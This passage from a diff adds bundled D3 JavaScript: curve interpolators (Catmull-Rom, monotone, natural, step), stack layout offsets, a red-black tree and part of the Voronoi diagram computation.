alpha; +} + +CatmullRom.prototype = { + areaStart: function() { + this._line = 0; + }, + areaEnd: function() { + this._line = NaN; + }, + lineStart: function() { + this._x0 = this._x1 = this._x2 = + this._y0 = this._y1 = this._y2 = NaN; + this._l01_a = this._l12_a = this._l23_a = + this._l01_2a = this._l12_2a = this._l23_2a = + this._point = 0; + }, + lineEnd: function() { + switch (this._point) { + case 2: this._context.lineTo(this._x2, this._y2); break; + case 3: this.point(this._x2, this._y2); break; + } + if (this._line || (this._line !== 0 && this._point === 1)) this._context.closePath(); + this._line = 1 - this._line; + }, + point: function(x, y) { + x = +x, y = +y; + + if (this._point) { + var x23 = this._x2 - x, + y23 = this._y2 - y; + this._l23_a = Math.sqrt(this._l23_2a = Math.pow(x23 * x23 + y23 * y23, this._alpha)); + } + + switch (this._point) { + case 0: this._point = 1; this._line ? this._context.lineTo(x, y) : this._context.moveTo(x, y); break; + case 1: this._point = 2; break; + case 2: this._point = 3; // proceed + default: point$4(this, x, y); break; + } + + this._l01_a = this._l12_a, this._l12_a = this._l23_a; + this._l01_2a = this._l12_2a, this._l12_2a = this._l23_2a; + this._x0 = this._x1, this._x1 = this._x2, this._x2 = x; + this._y0 = this._y1, this._y1 = this._y2, this._y2 = y; + } +}; + +var catmullRom = (function custom(alpha) { + + function catmullRom(context) { + return alpha ? new CatmullRom(context, alpha) : new Cardinal(context, 0); + } + + catmullRom.alpha = function(alpha) { + return custom(+alpha); + }; + + return catmullRom; +})(0.5); + +function CatmullRomClosed(context, alpha) { + this._context = context; + this._alpha = alpha; +} + +CatmullRomClosed.prototype = { + areaStart: noop$3, + areaEnd: noop$3, + lineStart: function() { + this._x0 = this._x1 = this._x2 = this._x3 = this._x4 = this._x5 = + this._y0 = this._y1 = this._y2 = this._y3 = this._y4 = this._y5 = NaN; + this._l01_a = this._l12_a = this._l23_a = + this._l01_2a = this._l12_2a = this._l23_2a = + this._point = 0; + }, + lineEnd: function() { + switch (this._point) { + case 1: { + this._context.moveTo(this._x3, this._y3); + this._context.closePath(); + break; + } + case 2: { + this._context.lineTo(this._x3, this._y3); + this._context.closePath(); + break; + } + case 3: { + this.point(this._x3, this._y3); + this.point(this._x4, this._y4); + this.point(this._x5, this._y5); + break; + } + } + }, + point: function(x, y) { + x = +x, y = +y; + + if (this._point) { + var x23 = this._x2 - x, + y23 = this._y2 - y; + this._l23_a = Math.sqrt(this._l23_2a = Math.pow(x23 * x23 + y23 * y23, this._alpha)); + } + + switch (this._point) { + case 0: this._point = 1; this._x3 = x, this._y3 = y; break; + case 1: this._point = 2; this._context.moveTo(this._x4 = x, this._y4 = y); break; + case 2: this._point = 3; this._x5 = x, this._y5 = y; break; + default: point$4(this, x, y); break; + } + + this._l01_a = this._l12_a, this._l12_a = this._l23_a; + this._l01_2a = this._l12_2a, this._l12_2a = this._l23_2a; + this._x0 = this._x1, this._x1 = this._x2, this._x2 = x; + this._y0 = this._y1, this._y1 = this._y2, this._y2 = y; + } +}; + +var catmullRomClosed = (function custom(alpha) { + + function catmullRom(context) { + return alpha ? new CatmullRomClosed(context, alpha) : new CardinalClosed(context, 0); + } + + catmullRom.alpha = function(alpha) { + return custom(+alpha); + }; + + return catmullRom; +})(0.5); + +function CatmullRomOpen(context, alpha) { + this._context = context; + this._alpha = alpha; +} + +CatmullRomOpen.prototype = { + areaStart: function() { + this._line = 0; + }, + areaEnd: function() { + this._line = NaN; + }, + lineStart: function() { + this._x0 = this._x1 = this._x2 = + this._y0 = this._y1 = this._y2 = NaN; + this._l01_a = this._l12_a = this._l23_a = + this._l01_2a = this._l12_2a = this._l23_2a = + this._point = 0; + }, + lineEnd: function() { + if (this._line || (this._line !== 0 && this._point === 3)) this._context.closePath(); + this._line = 1 - this._line; + }, + point: function(x, y) { + x = +x, y = +y; + + if (this._point) { + var x23 = this._x2 - x, + y23 = this._y2 - y; + this._l23_a = Math.sqrt(this._l23_2a = Math.pow(x23 * x23 + y23 * y23, this._alpha)); + } + + switch (this._point) { + case 0: this._point = 1; break; + case 1: this._point = 2; break; + case 2: this._point = 3; this._line ? this._context.lineTo(this._x2, this._y2) : this._context.moveTo(this._x2, this._y2); break; + case 3: this._point = 4; // proceed + default: point$4(this, x, y); break; + } + + this._l01_a = this._l12_a, this._l12_a = this._l23_a; + this._l01_2a = this._l12_2a, this._l12_2a = this._l23_2a; + this._x0 = this._x1, this._x1 = this._x2, this._x2 = x; + this._y0 = this._y1, this._y1 = this._y2, this._y2 = y; + } +}; + +var catmullRomOpen = (function custom(alpha) { + + function catmullRom(context) { + return alpha ? new CatmullRomOpen(context, alpha) : new CardinalOpen(context, 0); + } + + catmullRom.alpha = function(alpha) { + return custom(+alpha); + }; + + return catmullRom; +})(0.5); + +function LinearClosed(context) { + this._context = context; +} + +LinearClosed.prototype = { + areaStart: noop$3, + areaEnd: noop$3, + lineStart: function() { + this._point = 0; + }, + lineEnd: function() { + if (this._point) this._context.closePath(); + }, + point: function(x, y) { + x = +x, y = +y; + if (this._point) this._context.lineTo(x, y); + else this._point = 1, this._context.moveTo(x, y); + } +}; + +function linearClosed(context) { + return new LinearClosed(context); +} + +function sign$1(x) { + return x < 0 ? -1 : 1; +} + +// Calculate the slopes of the tangents (Hermite-type interpolation) based on +// the following paper: Steffen, M. 1990. A Simple Method for Monotonic +// Interpolation in One Dimension. Astronomy and Astrophysics, Vol. 239, NO. +// NOV(II), P. 443, 1990. +function slope3(that, x2, y2) { + var h0 = that._x1 - that._x0, + h1 = x2 - that._x1, + s0 = (that._y1 - that._y0) / (h0 || h1 < 0 && -0), + s1 = (y2 - that._y1) / (h1 || h0 < 0 && -0), + p = (s0 * h1 + s1 * h0) / (h0 + h1); + return (sign$1(s0) + sign$1(s1)) * Math.min(Math.abs(s0), Math.abs(s1), 0.5 * Math.abs(p)) || 0; +} + +// Calculate a one-sided slope. +function slope2(that, t) { + var h = that._x1 - that._x0; + return h ? (3 * (that._y1 - that._y0) / h - t) / 2 : t; +} + +// According to https://en.wikipedia.org/wiki/Cubic_Hermite_spline#Representations +// "you can express cubic Hermite interpolation in terms of cubic Bézier curves +// with respect to the four values p0, p0 + m0 / 3, p1 - m1 / 3, p1". +function point$5(that, t0, t1) { + var x0 = that._x0, + y0 = that._y0, + x1 = that._x1, + y1 = that._y1, + dx = (x1 - x0) / 3; + that._context.bezierCurveTo(x0 + dx, y0 + dx * t0, x1 - dx, y1 - dx * t1, x1, y1); +} + +function MonotoneX(context) { + this._context = context; +} + +MonotoneX.prototype = { + areaStart: function() { + this._line = 0; + }, + areaEnd: function() { + this._line = NaN; + }, + lineStart: function() { + this._x0 = this._x1 = + this._y0 = this._y1 = + this._t0 = NaN; + this._point = 0; + }, + lineEnd: function() { + switch (this._point) { + case 2: this._context.lineTo(this._x1, this._y1); break; + case 3: point$5(this, this._t0, slope2(this, this._t0)); break; + } + if (this._line || (this._line !== 0 && this._point === 1)) this._context.closePath(); + this._line = 1 - this._line; + }, + point: function(x, y) { + var t1 = NaN; + + x = +x, y = +y; + if (x === this._x1 && y === this._y1) return; // Ignore coincident points. + switch (this._point) { + case 0: this._point = 1; this._line ? this._context.lineTo(x, y) : this._context.moveTo(x, y); break; + case 1: this._point = 2; break; + case 2: this._point = 3; point$5(this, slope2(this, t1 = slope3(this, x, y)), t1); break; + default: point$5(this, this._t0, t1 = slope3(this, x, y)); break; + } + + this._x0 = this._x1, this._x1 = x; + this._y0 = this._y1, this._y1 = y; + this._t0 = t1; + } +}; + +function MonotoneY(context) { + this._context = new ReflectContext(context); +} + +(MonotoneY.prototype = Object.create(MonotoneX.prototype)).point = function(x, y) { + MonotoneX.prototype.point.call(this, y, x); +}; + +function ReflectContext(context) { + this._context = context; +} + +ReflectContext.prototype = { + moveTo: function(x, y) { this._context.moveTo(y, x); }, + closePath: function() { this._context.closePath(); }, + lineTo: function(x, y) { this._context.lineTo(y, x); }, + bezierCurveTo: function(x1, y1, x2, y2, x, y) { this._context.bezierCurveTo(y1, x1, y2, x2, y, x); } +}; + +function monotoneX(context) { + return new MonotoneX(context); +} + +function monotoneY(context) { + return new MonotoneY(context); +} + +function Natural(context) { + this._context = context; +} + +Natural.prototype = { + areaStart: function() { + this._line = 0; + }, + areaEnd: function() { + this._line = NaN; + }, + lineStart: function() { + this._x = []; + this._y = []; + }, + lineEnd: function() { + var x = this._x, + y = this._y, + n = x.length; + + if (n) { + this._line ? this._context.lineTo(x[0], y[0]) : this._context.moveTo(x[0], y[0]); + if (n === 2) { + this._context.lineTo(x[1], y[1]); + } else { + var px = controlPoints(x), + py = controlPoints(y); + for (var i0 = 0, i1 = 1; i1 < n; ++i0, ++i1) { + this._context.bezierCurveTo(px[0][i0], py[0][i0], px[1][i0], py[1][i0], x[i1], y[i1]); + } + } + } + + if (this._line || (this._line !== 0 && n === 1)) this._context.closePath(); + this._line = 1 - this._line; + this._x = this._y = null; + }, + point: function(x, y) { + this._x.push(+x); + this._y.push(+y); + } +}; + +// See https://www.particleincell.com/2012/bezier-splines/ for derivation. +function controlPoints(x) { + var i, + n = x.length - 1, + m, + a = new Array(n), + b = new Array(n), + r = new Array(n); + a[0] = 0, b[0] = 2, r[0] = x[0] + 2 * x[1]; + for (i = 1; i < n - 1; ++i) a[i] = 1, b[i] = 4, r[i] = 4 * x[i] + 2 * x[i + 1]; + a[n - 1] = 2, b[n - 1] = 7, r[n - 1] = 8 * x[n - 1] + x[n]; + for (i = 1; i < n; ++i) m = a[i] / b[i - 1], b[i] -= m, r[i] -= m * r[i - 1]; + a[n - 1] = r[n - 1] / b[n - 1]; + for (i = n - 2; i >= 0; --i) a[i] = (r[i] - a[i + 1]) / b[i]; + b[n - 1] = (x[n] + a[n - 1]) / 2; + for (i = 0; i < n - 1; ++i) b[i] = 2 * x[i + 1] - a[i + 1]; + return [a, b]; +} + +function natural(context) { + return new Natural(context); +} + +function Step(context, t) { + this._context = context; + this._t = t; +} + +Step.prototype = { + areaStart: function() { + this._line = 0; + }, + areaEnd: function() { + this._line = NaN; + }, + lineStart: function() { + this._x = this._y = NaN; + this._point = 0; + }, + lineEnd: function() { + if (0 < this._t && this._t < 1 && this._point === 2) this._context.lineTo(this._x, this._y); + if (this._line || (this._line !== 0 && this._point === 1)) this._context.closePath(); + if (this._line >= 0) this._t = 1 - this._t, this._line = 1 - this._line; + }, + point: function(x, y) { + x = +x, y = +y; + switch (this._point) { + case 0: this._point = 1; this._line ? this._context.lineTo(x, y) : this._context.moveTo(x, y); break; + case 1: this._point = 2; // proceed + default: { + if (this._t <= 0) { + this._context.lineTo(this._x, y); + this._context.lineTo(x, y); + } else { + var x1 = this._x * (1 - this._t) + x * this._t; + this._context.lineTo(x1, this._y); + this._context.lineTo(x1, y); + } + break; + } + } + this._x = x, this._y = y; + } +}; + +function step(context) { + return new Step(context, 0.5); +} + +function stepBefore(context) { + return new Step(context, 0); +} + +function stepAfter(context) { + return new Step(context, 1); +} + +function none$1(series, order) { + if (!((n = series.length) > 1)) return; + for (var i = 1, j, s0, s1 = series[order[0]], n, m = s1.length; i < n; ++i) { + s0 = s1, s1 = series[order[i]]; + for (j = 0; j < m; ++j) { + s1[j][1] += s1[j][0] = isNaN(s0[j][1]) ? s0[j][0] : s0[j][1]; + } + } +} + +function none$2(series) { + var n = series.length, o = new Array(n); + while (--n >= 0) o[n] = n; + return o; +} + +function stackValue(d, key) { + return d[key]; +} + +function stack() { + var keys = constant$b([]), + order = none$2, + offset = none$1, + value = stackValue; + + function stack(data) { + var kz = keys.apply(this, arguments), + i, + m = data.length, + n = kz.length, + sz = new Array(n), + oz; + + for (i = 0; i < n; ++i) { + for (var ki = kz[i], si = sz[i] = new Array(m), j = 0, sij; j < m; ++j) { + si[j] = sij = [0, +value(data[j], ki, j, data)]; + sij.data = data[j]; + } + si.key = ki; + } + + for (i = 0, oz = order(sz); i < n; ++i) { + sz[oz[i]].index = i; + } + + offset(sz, oz); + return sz; + } + + stack.keys = function(_) { + return arguments.length ? (keys = typeof _ === "function" ? _ : constant$b(slice$6.call(_)), stack) : keys; + }; + + stack.value = function(_) { + return arguments.length ? (value = typeof _ === "function" ? _ : constant$b(+_), stack) : value; + }; + + stack.order = function(_) { + return arguments.length ? (order = _ == null ? none$2 : typeof _ === "function" ? _ : constant$b(slice$6.call(_)), stack) : order; + }; + + stack.offset = function(_) { + return arguments.length ? (offset = _ == null ? none$1 : _, stack) : offset; + }; + + return stack; +} + +function expand(series, order) { + if (!((n = series.length) > 0)) return; + for (var i, n, j = 0, m = series[0].length, y; j < m; ++j) { + for (y = i = 0; i < n; ++i) y += series[i][j][1] || 0; + if (y) for (i = 0; i < n; ++i) series[i][j][1] /= y; + } + none$1(series, order); +} + +function diverging$1(series, order) { + if (!((n = series.length) > 0)) return; + for (var i, j = 0, d, dy, yp, yn, n, m = series[order[0]].length; j < m; ++j) { + for (yp = yn = 0, i = 0; i < n; ++i) { + if ((dy = (d = series[order[i]][j])[1] - d[0]) > 0) { + d[0] = yp, d[1] = yp += dy; + } else if (dy < 0) { + d[1] = yn, d[0] = yn += dy; + } else { + d[0] = 0, d[1] = dy; + } + } + } +} + +function silhouette(series, order) { + if (!((n = series.length) > 0)) return; + for (var j = 0, s0 = series[order[0]], n, m = s0.length; j < m; ++j) { + for (var i = 0, y = 0; i < n; ++i) y += series[i][j][1] || 0; + s0[j][1] += s0[j][0] = -y / 2; + } + none$1(series, order); +} + +function wiggle(series, order) { + if (!((n = series.length) > 0) || !((m = (s0 = series[order[0]]).length) > 0)) return; + for (var y = 0, j = 1, s0, m, n; j < m; ++j) { + for (var i = 0, s1 = 0, s2 = 0; i < n; ++i) { + var si = series[order[i]], + sij0 = si[j][1] || 0, + sij1 = si[j - 1][1] || 0, + s3 = (sij0 - sij1) / 2; + for (var k = 0; k < i; ++k) { + var sk = series[order[k]], + skj0 = sk[j][1] || 0, + skj1 = sk[j - 1][1] || 0; + s3 += skj0 - skj1; + } + s1 += sij0, s2 += s3 * sij0; + } + s0[j - 1][1] += s0[j - 1][0] = y; + if (s1) y -= s2 / s1; + } + s0[j - 1][1] += s0[j - 1][0] = y; + none$1(series, order); +} + +function appearance(series) { + var peaks = series.map(peak); + return none$2(series).sort(function(a, b) { return peaks[a] - peaks[b]; }); +} + +function peak(series) { + var i = -1, j = 0, n = series.length, vi, vj = -Infinity; + while (++i < n) if ((vi = +series[i][1]) > vj) vj = vi, j = i; + return j; +} + +function ascending$3(series) { + var sums = series.map(sum$2); + return none$2(series).sort(function(a, b) { return sums[a] - sums[b]; }); +} + +function sum$2(series) { + var s = 0, i = -1, n = series.length, v; + while (++i < n) if (v = +series[i][1]) s += v; + return s; +} + +function descending$2(series) { + return ascending$3(series).reverse(); +} + +function insideOut(series) { + var n = series.length, + i, + j, + sums = series.map(sum$2), + order = appearance(series), + top = 0, + bottom = 0, + tops = [], + bottoms = []; + + for (i = 0; i < n; ++i) { + j = order[i]; + if (top < bottom) { + top += sums[j]; + tops.push(j); + } else { + bottom += sums[j]; + bottoms.push(j); + } + } + + return bottoms.reverse().concat(tops); +} + +function reverse(series) { + return none$2(series).reverse(); +} + +function constant$c(x) { + return function() { + return x; + }; +} + +function x$4(d) { + return d[0]; +} + +function y$4(d) { + return d[1]; +} + +function RedBlackTree() { + this._ = null; // root node +} + +function RedBlackNode(node) { + node.U = // parent node + node.C = // color - true for red, false for black + node.L = // left node + node.R = // right node + node.P = // previous node + node.N = null; // next node +} + +RedBlackTree.prototype = { + constructor: RedBlackTree, + + insert: function(after, node) { + var parent, grandpa, uncle; + + if (after) { + node.P = after; + node.N = after.N; + if (after.N) after.N.P = node; + after.N = node; + if (after.R) { + after = after.R; + while (after.L) after = after.L; + after.L = node; + } else { + after.R = node; + } + parent = after; + } else if (this._) { + after = RedBlackFirst(this._); + node.P = null; + node.N = after; + after.P = after.L = node; + parent = after; + } else { + node.P = node.N = null; + this._ = node; + parent = null; + } + node.L = node.R = null; + node.U = parent; + node.C = true; + + after = node; + while (parent && parent.C) { + grandpa = parent.U; + if (parent === grandpa.L) { + uncle = grandpa.R; + if (uncle && uncle.C) { + parent.C = uncle.C = false; + grandpa.C = true; + after = grandpa; + } else { + if (after === parent.R) { + RedBlackRotateLeft(this, parent); + after = parent; + parent = after.U; + } + parent.C = false; + grandpa.C = true; + RedBlackRotateRight(this, grandpa); + } + } else { + uncle = grandpa.L; + if (uncle && uncle.C) { + parent.C = uncle.C = false; + grandpa.C = true; + after = grandpa; + } else { + if (after === parent.L) { + RedBlackRotateRight(this, parent); + after = parent; + parent = after.U; + } + parent.C = false; + grandpa.C = true; + RedBlackRotateLeft(this, grandpa); + } + } + parent = after.U; + } + this._.C = false; + }, + + remove: function(node) { + if (node.N) node.N.P = node.P; + if (node.P) node.P.N = node.N; + node.N = node.P = null; + + var parent = node.U, + sibling, + left = node.L, + right = node.R, + next, + red; + + if (!left) next = right; + else if (!right) next = left; + else next = RedBlackFirst(right); + + if (parent) { + if (parent.L === node) parent.L = next; + else parent.R = next; + } else { + this._ = next; + } + + if (left && right) { + red = next.C; + next.C = node.C; + next.L = left; + left.U = next; + if (next !== right) { + parent = next.U; + next.U = node.U; + node = next.R; + parent.L = node; + next.R = right; + right.U = next; + } else { + next.U = parent; + parent = next; + node = next.R; + } + } else { + red = node.C; + node = next; + } + + if (node) node.U = parent; + if (red) return; + if (node && node.C) { node.C = false; return; } + + do { + if (node === this._) break; + if (node === parent.L) { + sibling = parent.R; + if (sibling.C) { + sibling.C = false; + parent.C = true; + RedBlackRotateLeft(this, parent); + sibling = parent.R; + } + if ((sibling.L && sibling.L.C) + || (sibling.R && sibling.R.C)) { + if (!sibling.R || !sibling.R.C) { + sibling.L.C = false; + sibling.C = true; + RedBlackRotateRight(this, sibling); + sibling = parent.R; + } + sibling.C = parent.C; + parent.C = sibling.R.C = false; + RedBlackRotateLeft(this, parent); + node = this._; + break; + } + } else { + sibling = parent.L; + if (sibling.C) { + sibling.C = false; + parent.C = true; + RedBlackRotateRight(this, parent); + sibling = parent.L; + } + if ((sibling.L && sibling.L.C) + || (sibling.R && sibling.R.C)) { + if (!sibling.L || !sibling.L.C) { + sibling.R.C = false; + sibling.C = true; + RedBlackRotateLeft(this, sibling); + sibling = parent.L; + } + sibling.C = parent.C; + parent.C = sibling.L.C = false; + RedBlackRotateRight(this, parent); + node = this._; + break; + } + } + sibling.C = true; + node = parent; + parent = parent.U; + } while (!node.C); + + if (node) node.C = false; + } +}; + +function RedBlackRotateLeft(tree, node) { + var p = node, + q = node.R, + parent = p.U; + + if (parent) { + if (parent.L === p) parent.L = q; + else parent.R = q; + } else { + tree._ = q; + } + + q.U = parent; + p.U = q; + p.R = q.L; + if (p.R) p.R.U = p; + q.L = p; +} + +function RedBlackRotateRight(tree, node) { + var p = node, + q = node.L, + parent = p.U; + + if (parent) { + if (parent.L === p) parent.L = q; + else parent.R = q; + } else { + tree._ = q; + } + + q.U = parent; + p.U = q; + p.L = q.R; + if (p.L) p.L.U = p; + q.R = p; +} + +function RedBlackFirst(node) { + while (node.L) node = node.L; + return node; +} + +function createEdge(left, right, v0, v1) { + var edge = [null, null], + index = edges.push(edge) - 1; + edge.left = left; + edge.right = right; + if (v0) setEdgeEnd(edge, left, right, v0); + if (v1) setEdgeEnd(edge, right, left, v1); + cells[left.index].halfedges.push(index); + cells[right.index].halfedges.push(index); + return edge; +} + +function createBorderEdge(left, v0, v1) { + var edge = [v0, v1]; + edge.left = left; + return edge; +} + +function setEdgeEnd(edge, left, right, vertex) { + if (!edge[0] && !edge[1]) { + edge[0] = vertex; + edge.left = left; + edge.right = right; + } else if (edge.left === right) { + edge[1] = vertex; + } else { + edge[0] = vertex; + } +} + +// Liang–Barsky line clipping. +function clipEdge(edge, x0, y0, x1, y1) { + var a = edge[0], + b = edge[1], + ax = a[0], + ay = a[1], + bx = b[0], + by = b[1], + t0 = 0, + t1 = 1, + dx = bx - ax, + dy = by - ay, + r; + + r = x0 - ax; + if (!dx && r > 0) return; + r /= dx; + if (dx < 0) { + if (r < t0) return; + if (r < t1) t1 = r; + } else if (dx > 0) { + if (r > t1) return; + if (r > t0) t0 = r; + } + + r = x1 - ax; + if (!dx && r < 0) return; + r /= dx; + if (dx < 0) { + if (r > t1) return; + if (r > t0) t0 = r; + } else if (dx > 0) { + if (r < t0) return; + if (r < t1) t1 = r; + } + + r = y0 - ay; + if (!dy && r > 0) return; + r /= dy; + if (dy < 0) { + if (r < t0) return; + if (r < t1) t1 = r; + } else if (dy > 0) { + if (r > t1) return; + if (r > t0) t0 = r; + } + + r = y1 - ay; + if (!dy && r < 0) return; + r /= dy; + if (dy < 0) { + if (r > t1) return; + if (r > t0) t0 = r; + } else if (dy > 0) { + if (r < t0) return; + if (r < t1) t1 = r; + } + + if (!(t0 > 0) && !(t1 < 1)) return true; // TODO Better check? + + if (t0 > 0) edge[0] = [ax + t0 * dx, ay + t0 * dy]; + if (t1 < 1) edge[1] = [ax + t1 * dx, ay + t1 * dy]; + return true; +} + +function connectEdge(edge, x0, y0, x1, y1) { + var v1 = edge[1]; + if (v1) return true; + + var v0 = edge[0], + left = edge.left, + right = edge.right, + lx = left[0], + ly = left[1], + rx = right[0], + ry = right[1], + fx = (lx + rx) / 2, + fy = (ly + ry) / 2, + fm, + fb; + + if (ry === ly) { + if (fx < x0 || fx >= x1) return; + if (lx > rx) { + if (!v0) v0 = [fx, y0]; + else if (v0[1] >= y1) return; + v1 = [fx, y1]; + } else { + if (!v0) v0 = [fx, y1]; + else if (v0[1] < y0) return; + v1 = [fx, y0]; + } + } else { + fm = (lx - rx) / (ry - ly); + fb = fy - fm * fx; + if (fm < -1 || fm > 1) { + if (lx > rx) { + if (!v0) v0 = [(y0 - fb) / fm, y0]; + else if (v0[1] >= y1) return; + v1 = [(y1 - fb) / fm, y1]; + } else { + if (!v0) v0 = [(y1 - fb) / fm, y1]; + else if (v0[1] < y0) return; + v1 = [(y0 - fb) / fm, y0]; + } + } else { + if (ly < ry) { + if (!v0) v0 = [x0, fm * x0 + fb]; + else if (v0[0] >= x1) return; + v1 = [x1, fm * x1 + fb]; + } else { + if (!v0) v0 = [x1, fm * x1 + fb]; + else if (v0[0] < x0) return; + v1 = [x0, fm * x0 + fb]; + } + } + } + + edge[0] = v0; + edge[1] = v1; + return true; +} + +function clipEdges(x0, y0, x1, y1) { + var i = edges.length, + edge; + + while (i--) { + if (!connectEdge(edge = edges[i], x0, y0, x1, y1) + || !clipEdge(edge, x0, y0, x1, y1) + || !(Math.abs(edge[0][0] - edge[1][0]) > epsilon$4 + || Math.abs(edge[0][1] - edge[1][1]) > epsilon$4)) { + delete edges[i]; + } + } +} + +function createCell(site) { + return cells[site.index] = { + site: site, + halfedges: [] + }; +} + +function cellHalfedgeAngle(cell, edge) { + var site = cell.site, + va = edge.left, + vb = edge.right; + if (site === vb) vb = va, va = site; + if (vb) return Math.atan2(vb[1] - va[1], vb[0] - va[0]); + if (site === va) va = edge[1], vb = edge[0]; + else va = edge[0], vb = edge[1]; + return Math.atan2(va[0] - vb[0], vb[1] - va[1]); +} + +function cellHalfedgeStart(cell, edge) { + return edge[+(edge.left !== cell.site)]; +} + +function cellHalfedgeEnd(cell, edge) { + return edge[+(edge.left === cell.site)]; +} + +function sortCellHalfedges() { + for (var i = 0, n = cells.length, cell, halfedges, j, m; i < n; ++i) { + if ((cell = cells[i]) && (m = (halfedges = cell.halfedges).length)) { + var index = new Array(m), + array = new Array(m); + for (j = 0; j < m; ++j) index[j] = j, array[j] = cellHalfedgeAngle(cell, edges[halfedges[j]]); + index.sort(function(i, j) { return array[j] - array[i]; }); + for (j = 0; j < m; ++j) array[j] = halfedges[index[j]]; + for (j = 0; j < m; ++j) halfedges[j] = array[j]; + } + } +} + +function clipCells(x0, y0, x1, y1) { + var nCells = cells.length, + iCell, + cell, + site, + iHalfedge, + halfedges, + nHalfedges, + start, + startX, + startY, + end, + endX, + endY, + cover = true; + + for (iCell = 0; iCell < nCells; ++iCell) { + if (cell = cells[iCell]) { + site = cell.site; + halfedges = cell.halfedges; + iHalfedge = halfedges.length; + + // Remove any dangling clipped edges. + while (iHalfedge--) { + if (!edges[halfedges[iHalfedge]]) { + halfedges.splice(iHalfedge, 1); + } + } + + // Insert any border edges as necessary. + iHalfedge = 0, nHalfedges = halfedges.length; + while (iHalfedge < nHalfedges) { + end = cellHalfedgeEnd(cell, edges[halfedges[iHalfedge]]), endX = end[0], endY = end[1]; + start = cellHalfedgeStart(cell, edges[halfedges[++iHalfedge % nHalfedges]]), startX = start[0], startY = start[1]; + if (Math.abs(endX - startX) > epsilon$4 || Math.abs(endY - startY) > epsilon$4) { + halfedges.splice(iHalfedge, 0, edges.push(createBorderEdge(site, end, + Math.abs(endX - x0) < epsilon$4 && y1 - endY > epsilon$4 ? [x0, Math.abs(startX - x0) < epsilon$4 ? startY : y1] + : Math.abs(endY - y1) < epsilon$4 && x1 - endX > epsilon$4 ? [Math.abs(startY - y1) < epsilon$4 ? startX : x1, y1] + : Math.abs(endX - x1) < epsilon$4 && endY - y0 > epsilon$4 ? [x1, Math.abs(startX - x1) < epsilon$4 ? startY : y0] + : Math.abs(endY - y0) < epsilon$4 && endX - x0 > epsilon$4 ? [Math.abs(startY - y0) < epsilon$4 ? startX : x0, y0] + : null)) - 1); + ++nHalfedges; + } + } + + if (nHalfedges) cover = false; + } + } + + // If there weren’t any edges, have the closest site cover the extent. + // It doesn’t matter which corner of the extent we measure! + if (cover) { + var dx, dy, d2, dc = Infinity; + + for (iCell = 0, cover = null; iCell < nCells; ++iCell) { + if (cell = cells[iCell]) { + site = cell.site; + dx = site[0] - x0; + dy = site[1] - y0; + d2 = dx * dx + dy * dy; + if (d2 < dc) dc = d2, cover = cell; + } + } + + if (cover) { + var v00 = [x0, y0], v01 = [x0, y1], v11 = [x1, y1], v10 = [x1, y0]; + cover.halfedges.push( + edges.push(createBorderEdge(site = cover.site, v00, v01)) - 1, + edges.push(createBorderEdge(site, v01, v11)) - 1, + edges.push(createBorderEdge(site, v11, v10)) - 1, + edges.push(createBorderEdge(site, v10, v00)) - 1 + ); + } + } + + // Lastly delete any cells with no edges; these were entirely clipped. + for (iCell = 0; iCell < nCells; ++iCell) { + if (cell = cells[iCell]) { + if (!cell.halfedges.length) { + delete cells[iCell]; + } + } + } +} + +var circlePool = []; + +var firstCircle; + +function Circle() { + RedBlackNode(this); + this.x = + this.y = + this.arc = + this.site = + this.cy = null; +} + +function attachCircle(arc) { + var lArc = arc.P, + rArc = arc.N; + + if (!lArc || !rArc) return; + + var lSite = lArc.site, + cSite = arc.site, + rSite = rArc.site; + + if (lSite === rSite) return; + + var bx = cSite[0], + by = cSite[1], + ax = lSite[0] - bx, + ay = lSite[1] - by, + cx = rSite[0] - bx, + cy = rSite[1] - by; + + var d = 2 * (ax * cy - ay * cx); + if (d >= -epsilon2$2) return; + + var ha = ax * ax + ay * ay, + hc = cx * cx + cy * cy, + x = (cy * ha - ay * hc) / d, + y = (ax * hc - cx * ha) / d; + + var circle = circlePool.pop() || new Circle; + circle.arc = arc; + circle.site = cSite; + circle.x = x + bx; + circle.y = (circle.cy = y + by) + Math.sqrt(x * x + y * y); // y bottom + + arc.circle = circle; + + var before = null, + node = circles._; + + while (node) { + if (circle.y < node.y || (circle.y === node.y && circle.x <= node.x)) { + if (node.L) node = node.L; + else { before = node.P; break; } + } else { + if (node.R) node = node.R; + else { before = node; break; } + } + } + + circles.insert(before, circle); + if (!before) firstCircle = circle; +} + +function detachCircle(arc) { + var circle = arc.circle; + if (circle) { + if (!circle.P) firstCircle = circle.N; + circles.remove(circle); + circlePool.push(circle); + RedBlackNode(circle); + arc.circle = null; + } +} + +var beachPool = []; + +function Beach() { + RedBlackNode(this); + this.edge = + this.site = + this.circle = null; +} + +function createBeach(site) { + var beach = beachPool.pop() || new Beach; + beach.site = site; + return beach; +} + +function detachBeach(beach) { + detachCircle(beach); + beaches.remove(beach); + beachPool.push(beach); + RedBlackNode(beach); +} + +function removeBeach(beach) { + var circle = beach.circle, + x = circle.x, + y = circle.cy, + vertex = [x, y], + previous = beach.P, + next = beach.N, + disappearing = [beach]; + + detachBeach(beach); + + var lArc = previous; + while (lArc.circle + && Math.abs(x - lArc.circle.x) < epsilon$4 + && Math.abs(y - lArc.circle.cy) < epsilon$4) { + previous = lArc.P; + disappearing.unshift(lArc); + detachBeach(lArc); + lArc = previous; + } + + disappearing.unshift(lArc); + detachCircle(lArc); + + var rArc = next; + while (rArc.circle + && Math.abs(x - rArc.circle.x) < epsilon$4 + && Math.abs(y - rArc.circle.cy) < epsilon$4) { + next = rArc.N; + disappearing.push(rArc); + detachBeach(rArc); + rArc = next; + } + + disappearing.push(rArc); + detachCircle(rArc); + + var nArcs = disappearing.length, + iArc; + for (iArc = 1; iArc < nArcs; ++iArc) { + rArc = disappearing[iArc]; + lArc = disappearing[iArc - 1]; + setEdgeEnd(rArc.edge, lArc.site, rArc.site, vertex); + } + + lArc = disappearing[0]; + rArc = disappearing[nArcs - 1]; + rArc.edge = createEdge(lArc.site, rArc.site, null, vertex); + + attachCircle(lArc); + attachCircle(rArc); +} + +function addBeach(site) { + var x = site[0], + directrix = site[1], + lArc, + rArc, + dxl, + dxr, + node = beaches._; + + while (node) { + dxl = leftBreakPoint(node, directrix) - x; + if (dxl > epsilon$4) node = node.L; else { + dxr = x - rightBreakPoint(node, directrix); + if (dxr > epsilon$4) { + if (!node.R) { + lArc = node; + break; + } + node = node.R; + } else { + if (dxl > -epsilon$4) { + lArc = node.P; + rArc = node; + } else if (dxr > -epsilon$4) { + lArc = node; + rArc = node.N; + } else { + lArc = rArc = node; + } + break; + } + } + } + + createCell(site); + var newArc = createBeach(site); + beaches.insert(lArc, newArc); + + if 